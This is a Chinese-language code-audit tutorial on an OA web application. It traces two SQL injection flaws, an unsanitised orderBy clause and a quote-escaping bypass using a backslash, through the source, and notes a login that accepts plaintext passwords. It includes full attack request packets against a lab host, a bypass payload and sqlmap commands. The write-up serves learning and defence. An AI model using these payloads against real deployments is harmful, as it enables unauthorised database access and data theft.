某OA代码审计
前言:
学弟的一篇投稿文章,对于刚入门代码审计的新手比较友好
登录框
密码为加密字符串
可无视加密,直接用明文登录
代码路径/c-core/src/main/java/com/cloudweb/oa/security/LoginAuthenticationProvider.java
SQL注入1
漏洞利用
admin/111111
使用账号密码登录OA
抓包,构造请求包
POST /oa/address/list HTTP/1.1
Host: 10.211.55.2:8096
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skincode=lte; name=admin; pwd=; JSESSIONID=6637C0F4D46524AAF332FD23A218DF9E
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
op=1&userName=2&type=3&typeId=4&person=5&company=6&mobile=7&orderBy=8
发包是这样的,说明路径存在
参数“orderBy”处加上单引号,说明存在sql注入
放入sqlmap梭哈
python3 sqlmap.py -r url.txt --batch --risk 3 --threads 4 -v 3
代码分析
打开项目下pom.xml文件,发现存在Mybatis组件,可能存在sql注入
按照其他大佬的文章,先搜索Mybatis配置文件中的关键字
${
Statement
createStatement
PrepareStatement
like '%${
in (${
找到"${sql}",sql为传入参数,然后要确定这个参数是否为可控参数
往上滑,查找“namespace”里面参数,看看是哪个类使用了mapper
这里可以看到,AddressService.java类导入了mapper
打开AddressService.java,浏览一下这段代码
package com.cloudweb.oa.service;
import cn.js.fan.db.ListResult;
import cn.js.fan.util.ErrMsgException;
import cn.js.fan.util.StrUtil;
import com.cloudweb.oa.bean.Address;
import com.cloudweb.oa.dao.AddressDao;
import com.github.pagehelper.PageHelper;
import com.github.pagehelper.PageInfo;
import com.redmoon.oa.db.SequenceManager;
import com.redmoon.oa.pvg.Privilege;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import javax.annotation.PostConstruct;
import javax.servlet.http.HttpServletRequest;
import java.util.List;
import java.util.Vector;
/**
* @Author: qcg
* @Description:
* @Date: 2018/12/28 14:34
*/
@Service
public class AddressService {
public static final int TYPE_PUBLIC = 1;
public static final int TYPE_USER = 0;
@Autowired
private AddressDao addressDao;
@Autowired
private HttpServletRequest request;
public AddressService() {
}
private static AddressService addrService;
// 被@PostConstruct修饰的方法会在服务器加载Servlet的时候运行,并且只会被服务器调用一次,类似于Servlet的init()方法。被@PostConstruct修饰的方法会在构造函数之后,init()方法之前运行
// 该注解的方法在整个Bean初始化中的执行顺序:
// Constructor(构造方法) -> @Autowired(依赖注入) -> @PostConstruct(注释的方法)
@PostConstruct //通过@PostConstruct实现初始化bean之前进行的操作,本处是为了支持非spring扫描的包中调用
public void init() {
addrService = this;
}
public AddressDao getAddressDao() {
addressDao = addrService.addressDao;
// 也可以通过SpringHelper.getBean获取
/*if (addressDao == null) {
addressDao = SpringHelper.getBean(AddressDao.class);
}*/
return addressDao;
}
public Address getAddress(int id){
return getAddressDao().getAddress(id);
}
public Address getAddressByMobile(String mobile) {
return getAddressDao().getAddressByMobile(mobile);
}
public boolean create(Address address) throws ErrMsgException{
String errmsg = "";
Privilege privilege = new Privilege();
/* if (address.getTypeId().equals("")) {
errmsg += "请选择类别!";
}*/
if (address.getPerson() == null || address.getPerson().equals("")) {
errmsg += "姓名不能为空!";
}
if (address.getPostalcode().length() > 10) {
errmsg += "邮政编码长度不能超过10位!\\n";
}
if (!errmsg.equals("")) {
throw new ErrMsgException(errmsg);
}
if (address.getType() == TYPE_PUBLIC) {
if (!privilege.isUserPrivValid(request, "admin.address.public")) {
throw new ErrMsgException(Privilege.MSG_INVALID);
}
}
// 生成id
int id = (int) SequenceManager.nextID(SequenceManager.OA_ADDRESS);
address.setId(id);
address.setUserName(privilege.getUser(request));
address.setUnitCode(privilege.getUserUnitCode(request));
return getAddressDao().create(address);
}
public boolean del(int id){
return getAddressDao().del(id);
}
public boolean save(Address address) throws ErrMsgException{
String errmsg = "";
Privilege privilege = new Privilege();
/* if (address.getTypeId()==null || address.getTypeId().equals("")) {
errmsg += "请选择类别!";
}*/
String person = address.getPerson();
if (person == null || person.equals("")) {
errmsg += "姓名不能为空!";
}
if (address.getPostalcode().length() > 10) {
errmsg += "邮政编码长度不能超过10位!\\n";
}
if (!errmsg.equals("")) {
throw new ErrMsgException(errmsg);
}
return getAddressDao().save(address);
}
public ListResult listSql(String sql){
List<Address> list = getAddressDao().selectList(sql);
Vector vector = new Vector();
vector.addAll(list);
ListResult listResult = new ListResult();
listResult.setTotal(list.size());
listResult.setResult(vector);
return listResult;
}
public ListResult listResult(String sql, int curPage, int pageSize) {
PageHelper.startPage(curPage, pageSize); // 分页查询
List<Address> list = addressDao.selectList(sql);
PageInfo<Address> pageInfo = new PageInfo<>(list);
ListResult lr = new ListResult();
Vector v = new Vector();
v.addAll(list);
lr.setResult(v);
lr.setTotal(pageInfo.getTotal());
return lr;
}
public void delBatch(String ids) throws ErrMsgException{
String[] idTemp = ids.split(",");
Privilege privilege = new Privilege();
String userUnitCode = privilege.getUserUnitCode(request);
// 首先判断此数据是否存在
for(String id : idTemp){
Address address = getAddress(StrUtil.toInt(id));
if (address == null){
throw new ErrMsgException("该项已不存在!");
}
if (address.getType() == TYPE_PUBLIC) {
if (!privilege.isUserPrivValid(request, "admin.address.public") || !address.getUnitCode().equals(userUnitCode)) {
throw new ErrMsgException(Privilege.MSG_INVALID);
}
} else {
if (!privilege.getUser(request).equals(address.getUserName())) {
throw new ErrMsgException("非法操作!");
}
}
del(StrUtil.toInt(id));
}
}
/**
* 用于获取sql语句
* @param op
* @param userName
* @param type
* @param typeId
* @param person
* @param company
* @param mobile
* @param orderBy
* @param sort
* @return
*/
public String getSql(String op, String userName, int type, String typeId, String person, String company, String mobile, String orderBy, String sort,String unit_code){
String sql = "select * from address where type=" + type;
if (type == TYPE_PUBLIC) {
if (typeId.equals("public")) {
op = "search";
typeId = "";
}
} else {
if (typeId.equals(userName)) {
op = "search";
typeId = "";
}
}
if (op.equals("search")) {
if (type == TYPE_USER) {
sql = "select * from address where userName=" + StrUtil.sqlstr(userName) + " and type=" + TYPE_USER;
} else {
sql = "select * from address where type=" + type;
}
if (!person.equals("")) {
sql += " and person like " + StrUtil.sqlstr("%" + person + "%");
}
if (!company.equals("")) {
sql += " and company like " + StrUtil.sqlstr("%" + company + "%");
}
if (!typeId.equals("")) {
sql += " and typeId = " + StrUtil.sqlstr(typeId);
}
if (!mobile.equals("")) {
sql += " and mobile like " + StrUtil.sqlstr("%" + mobile + "%");
}
} else {
if (!typeId.equals("")) {
sql += " and typeId = " + StrUtil.sqlstr(typeId);
}
if (type != TYPE_PUBLIC) {
sql += " and userName=" + StrUtil.sqlstr(userName);
}
}
if (type == TYPE_PUBLIC) {
sql += " and unit_code=" + StrUtil.sqlstr(unit_code);
}
sql += " order by " + orderBy;
sql += " " + sort;
return sql;
}
}
读完代码后,找到这段代码,有读注和一个声明公开的函数,而函数所构造的“sql”参数就是我们要找的
知道了这个函数是用于拼接并返回“sql”参数的,接下来就要找,是谁在调用这个函数
跟踪函数到AddressController.java
sql获取到了所构造的sql语句,然后一起传入了addressService.listResult()函数,接着跟踪listResult()函数
这里可以看到,该函数是已经在返回结果了,说明找的方向不是这个函数
重新返回到AddressController.java,发现这两个语句是在list()函数里边的,往上滑,找到了这个函数的使用路径
构造路径并访问
http://10.211.55.2:8096/oa/address/list
页面存在,抓包,构造参数,参数构造也不麻烦,根据list()函数里面的代码进行构造
对这些参数进行注入测试
发现存在sql报错
然后sqlmap梭哈即可
SQL注入2
漏洞利用
抓包,构造请求包
POST /oa/admin/getAccountList HTTP/1.1
Host: 10.211.55.2:8096
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skincode=lte; pwd=; name=admin; JSESSIONID=4F7E4C7131CA421F81FF22EF89960822
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
userName=admin&op=search&by=userName&what=1&searchUnitCode=1&unitCode=root&pageNum=1&pageSize=1
参数”what“和”searchUnitCode“处存在注入点,这里用参数”what“测试
userName=admin&op=search&by=userName&what=1\'&searchUnitCode=1&unitCode=root&pageNum=1&pageSize=1
sqlmap运行结果
python3 sqlmap.py -r url.txt --batch --risk 3 -v 2
代码分析
在Mybits配置文件中查找字符”${“
打开该配置文件,找到引用mapper的类
在文件中查找
阅读该页面代码,在list函数中找到构建sql参数的函数,这里首先要确定哪两个变量是可控的,根据代码可以确定”what“和”searchUnitCode“是可控的变量
这里构建完sql语句后,返回sql参数到数据库进行执行
查看一下是哪个地方引用了list函数
映射的路径以及构造参数都在下面代码里面
所以直接构造路径和参数,正常返回信息,页面存在,尝试注入
添加了单引号发现并没有出现报错页面,返回sql构造函数那里看看情况
这里发现,输入的参数是经过sqlstr函数进行处理的
跟踪sqlstr查看情况
这里发现,这段代码是对单引号进行了处理,从而避免了单引号导致mysql报错的问题
接下来是对这个字符处理进行绕过,因为这里只对单引号进行处理,因此可以构造payload
what=1 ==> what=1''
what=1\' ==> what=1'
接下来sqlmap运行即可